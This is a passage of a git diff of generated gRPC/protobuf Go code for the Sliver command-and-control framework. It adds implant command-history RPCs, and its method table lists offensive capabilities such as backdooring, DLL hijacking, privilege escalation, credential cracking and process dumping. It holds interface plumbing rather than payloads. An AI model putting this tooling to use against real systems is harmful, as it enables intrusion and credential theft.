rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 77, // 120: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 78, // 121: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 79, // 122: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 123: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 80, // 124: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 81, // 125: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 82, // 126: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 83, // 127: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 84, // 128: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 85, // 129: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 86, // 130: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 87, // 131: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 88, // 132: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 89, // 133: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 90, // 134: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 91, // 135: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 92, // 136: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 93, // 137: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 94, // 138: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 95, // 139: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 96, // 140: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 97, // 141: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 98, // 142: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 99, // 143: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 100, // 144: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 101, // 145: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 102, // 146: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 103, // 147: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 104, // 148: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 105, // 149: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 106, // 150: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 107, // 151: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 108, // 152: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 109, // 153: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 110, // 154: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 111, // 155: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 112, // 156: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 113, // 157: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 114, // 158: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 115, // 159: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 116, // 160: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 116, // 161: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 117, // 162: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 118, // 163: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 118, // 164: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 119, // 165: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 166: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 120, // 167: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 0, // 168: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 169: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 121, // 170: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 171: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 0, // 172: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty + 122, // 173: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History + 123, // 174: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 124, // 175: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 7, // 176: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 177: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 125, // 178: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 8, // 179: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 8, // 180: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 126, // 181: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 182: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 127, // 183: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 128, // 184: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 129, // 185: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener + 130, // 186: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener + 131, // 187: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener + 132, // 188: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener + 132, // 189: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener + 133, // 190: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 133, // 191: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener + 15, // 192: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 193: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 15, // 194: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 15, // 195: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 134, // 196: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 16, // 197: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 198: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 199: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 200: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 17, // 201: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 16, // 202: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 16, // 203: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 17, // 204: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 135, // 205: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 18, // 206: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 207: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 208: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 136, // 209: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 137, // 210: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 211: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 137, // 212: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig + 25, // 213: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 214: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 138, // 215: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 25, // 216: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 217: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 218: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 139, // 219: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 28, // 220: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 221: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 140, // 222: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 29, // 223: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 224: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 30, // 225: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 226: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 227: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 136, // 228: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 141, // 229: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 230: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 142, // 231: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 143, // 232: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 144, // 233: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 145, // 234: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 235: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 33, // 236: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 146, // 237: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 147, // 238: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 148, // 239: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 149, // 240: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 150, // 241: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 151, // 242: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 152, // 243: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 244: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 153, // 245: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 38, // 246: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 247: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 38, // 248: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 38, // 249: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 38, // 250: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 41, // 251: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 154, // 252: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 155, // 253: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 156, // 254: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 157, // 255: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 158, // 256: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 159, // 257: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 159, // 258: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 160, // 259: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 161, // 260: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 162, // 261: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 163, // 262: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 164, // 263: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 165, // 264: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 166, // 265: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 167, // 266: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 168, // 267: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 158, // 268: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 169, // 269: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 170, // 270: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 171, // 271: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 172, // 272: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 173, // 273: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 174, // 274: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 175, // 275: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 176, // 276: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 176, // 277: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 176, // 278: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 177, // 279: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 178, // 280: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 179, // 281: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 179, // 282: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 180, // 283: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 181, // 284: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 182, // 285: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 183, // 286: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 184, // 287: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 288: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 185, // 289: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 186, // 290: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 187, // 291: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 187, // 292: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 187, // 293: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 188, // 294: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 189, // 295: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 190, // 296: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 191, // 297: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 192, // 298: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 193, // 299: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 194, // 300: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 195, // 301: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 196, // 302: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 197, // 303: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 198, // 304: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 199, // 305: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 200, // 306: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 201, // 307: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 202, // 308: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 203, // 309: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 202, // 310: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 100, // 311: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 312: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 204, // 313: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 205, // 314: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 206, // 315: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 207, // 316: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 208, // 317: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 209, // 318: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 210, // 319: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 210, // 320: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 211, // 321: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 211, // 322: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 212, // 323: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 213, // 324: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 214, // 325: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 215, // 326: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 116, // 327: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 328: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 117, // 329: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 118, // 330: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 331: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 119, // 332: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 25, // 333: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 167, // [167:334] is the sub-list for method output_type + 0, // [0:167] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 71c74fe2d5..2ef6bc2f8c 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -19,6 +19,9 @@ service SliverRPC { rpc Reconfigure(sliverpb.ReconfigureReq) returns (sliverpb.Reconfigure); rpc Rename(clientpb.RenameReq) returns (commonpb.Empty); + rpc ImplantHistory(stream clientpb.ImplantCommand) returns (commonpb.Empty); + rpc GetImplantHistory(clientpb.HistoryRequest) returns (clientpb.History); + // *** Sessions *** rpc GetSessions(commonpb.Empty) returns (clientpb.Sessions); diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 0128953350..247e58c04e 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -27,6 +27,8 @@ const ( SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill" SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure" SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename" + SliverRPC_ImplantHistory_FullMethodName = "/rpcpb.SliverRPC/ImplantHistory" + SliverRPC_GetImplantHistory_FullMethodName = "/rpcpb.SliverRPC/GetImplantHistory" SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions" SliverRPC_GetBeacons_FullMethodName = "/rpcpb.SliverRPC/GetBeacons" SliverRPC_GetBeacon_FullMethodName = "/rpcpb.SliverRPC/GetBeacon" @@ -201,6 +203,8 @@ type SliverRPCClient interface { Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) + ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) + GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) // *** Sessions *** GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) // *** Beacons *** @@ -465,6 +469,49 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op return out, nil } +func (c *sliverRPCClient) ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) { + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_ImplantHistory_FullMethodName, opts...) + if err != nil { + return nil, err + } + x := &sliverRPCImplantHistoryClient{stream} + return x, nil +} + +type SliverRPC_ImplantHistoryClient interface { + Send(*clientpb.ImplantCommand) error + CloseAndRecv() (*commonpb.Empty, error) + grpc.ClientStream +} + +type sliverRPCImplantHistoryClient struct { + grpc.ClientStream +} + +func (x *sliverRPCImplantHistoryClient) Send(m *clientpb.ImplantCommand) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryClient) CloseAndRecv() (*commonpb.Empty, error) { + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + m := new(commonpb.Empty) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func (c *sliverRPCClient) GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) { + out := new(clientpb.History) + err := c.cc.Invoke(ctx, SliverRPC_GetImplantHistory_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) { out := new(clientpb.Sessions) err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...) @@ -817,7 +864,7 @@ func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, } func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_BuilderRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -867,7 +914,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts } func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_CrackstationRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -1907,7 +1954,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op } func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_SocksProxy_FullMethodName, opts...) if err != nil { return nil, err } @@ -1956,7 +2003,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, } func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_TunnelData_FullMethodName, opts...) if err != nil { return nil, err } @@ -1987,7 +2034,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) { } func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[6], SliverRPC_Events_FullMethodName, opts...) if err != nil { return nil, err } @@ -2030,6 +2077,8 @@ type SliverRPCServer interface { Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) + ImplantHistory(SliverRPC_ImplantHistoryServer) error + GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) // *** Sessions *** GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) // *** Beacons *** @@ -2236,6 +2285,12 @@ func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.Recon func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented") } +func (UnimplementedSliverRPCServer) ImplantHistory(SliverRPC_ImplantHistoryServer) error { + return status.Errorf(codes.Unimplemented, "method ImplantHistory not implemented") +} +func (UnimplementedSliverRPCServer) GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetImplantHistory not implemented") +} func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) { return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented") } @@ -2827,6 +2882,50 @@ func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(in return interceptor(ctx, in, info, handler) } +func _SliverRPC_ImplantHistory_Handler(srv interface{}, stream grpc.ServerStream) error { + return srv.(SliverRPCServer).ImplantHistory(&sliverRPCImplantHistoryServer{stream}) +} + +type SliverRPC_ImplantHistoryServer interface { + SendAndClose(*commonpb.Empty) error + Recv() (*clientpb.ImplantCommand, error) + grpc.ServerStream +} + +type sliverRPCImplantHistoryServer struct { + grpc.ServerStream +} + +func (x *sliverRPCImplantHistoryServer) SendAndClose(m *commonpb.Empty) error { + return x.ServerStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryServer) Recv() (*clientpb.ImplantCommand, error) { + m := new(clientpb.ImplantCommand) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func _SliverRPC_GetImplantHistory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.HistoryRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetImplantHistory(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetImplantHistory_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetImplantHistory(ctx, req.(*clientpb.HistoryRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(commonpb.Empty) if err := dec(in); err != nil { @@ -5755,6 +5854,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "Rename", Handler: _SliverRPC_Rename_Handler, }, + { + MethodName: "GetImplantHistory", + Handler: _SliverRPC_GetImplantHistory_Handler, + }, { MethodName: "GetSessions", Handler: _SliverRPC_GetSessions_Handler, @@ -6382,6 +6485,11 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_ClientLog_Handler, ClientStreams: true, }, + { + StreamName: "ImplantHistory", + Handler: _SliverRPC_ImplantHistory_Handler, + ClientStreams: true, + }, { StreamName: "BuilderRegister", Handler: _SliverRPC_BuilderRegister_Handler, diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go index c12df0e731..e99a2a09c3 100644 --- 